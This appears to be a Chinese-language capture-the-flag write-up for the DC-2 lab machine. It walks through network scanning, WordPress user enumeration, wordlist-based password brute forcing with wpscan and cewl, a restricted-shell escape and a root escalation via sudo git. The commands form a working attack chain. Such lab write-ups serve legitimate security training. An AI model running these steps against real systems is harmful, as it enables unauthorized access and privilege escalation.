一、扫描获取靶机ip
用nmap扫描192.168.203.0/24以获取靶机ip
arp-scan -l
192.168.203.139
二、获取网站信息
1.nmap
nmap -A -v -sS -sV -p- 192.168.203.139
开放了80端口、7744端口
2.Wappaloyzer
web服务器:Apache 2.4.10
CMS:WordPress
数据库: Mysql
JS库:jQuery
进入页面发现访问不了
查看发现直接访问80端口会跳转到http://dc-2上。可以添加hosts解决无法解析的问题
linux中,host文件在/etc/hosts
windows中,hosts文件在C:\Windows\System32\drivers\etc中
可以成功访问
flag1
flag2
根据flag1的提示,让我们使用
cewl是一个ruby应用,爬行指定url的指定深度。也可以跟一个外部链接,结果会返回一个单词列表,这个列表可以扔到John the ripper工具里进行密码破解。cewl还有一个相关的命令行工具应用FAB,它使用相同的元数据提取技术从已下载的列表中创建作者/创建者列表。
3.wpscan
wpscan --url dc-2 -e u
在这里插入图片描述
得到wordpress下的一些用户名
admin、jerry、tom
制作一个用户名单
vim user.txt
内容:
admin
jerry
tom
4.cewl
让cewl根据dc-2网站创建一个密码本
cewl http://dc-2/ -w pwd.txt
用wpscan,去匹配文件密码
wpscan --url http://dc-2/ -U user.txt -P pwd.txt
成功爆破出jerry和tom的密码
jerry / adipiscing tom / parturient
5.dirb
我们需要找到登陆界面
dirb http://dc-2/
访问
http://dc-2/wp-admin/
tom里没有找到flag,在jerry中发现flag2
flag3
利用获取的账户密码尝试登录服务器,发现tom可以登录,jerry不可以
ssh jerry@192.168.203.139 -p 7744ssh tom@192.168.203.139 -p 7744
登陆后 ls 发现flag3但是很多读取命令都执行不了
方法一
查看可以和使用的命令
ls -al ./usrls -al ./usr/bin
可以使用vi或less查看
vi flag3.txt
方法二
存在rbash
,会将用户局限在用户家目录/home/tom,命令都执行不了
尝试绕过
BASH_CMDS[a]=/bin/sh;a/bin/bash export PATH=$PATH:/bin //添加环境变量export PATH=$PATH:/usr/bin //添加环境变量
PS:此类提权只能小幅度获得命令使用权限,无法真正的提升至root
权限
flag4
根据flag3的提示,无法使用ssh登录应该是禁止登录的用户(需要用flag3的方法二绕过rbash)
su jerry
cd
ls
cat flag4.txt
flag5
查看可以sudo的用户
sudo -l
发现jerry可以以root身份运行git
利用git提权
sudo git -p help j //强制进入交互状态,让页面缓冲区无法显示全部信息在最下面写!/bin/bash
成功提权,并发现最后一个flag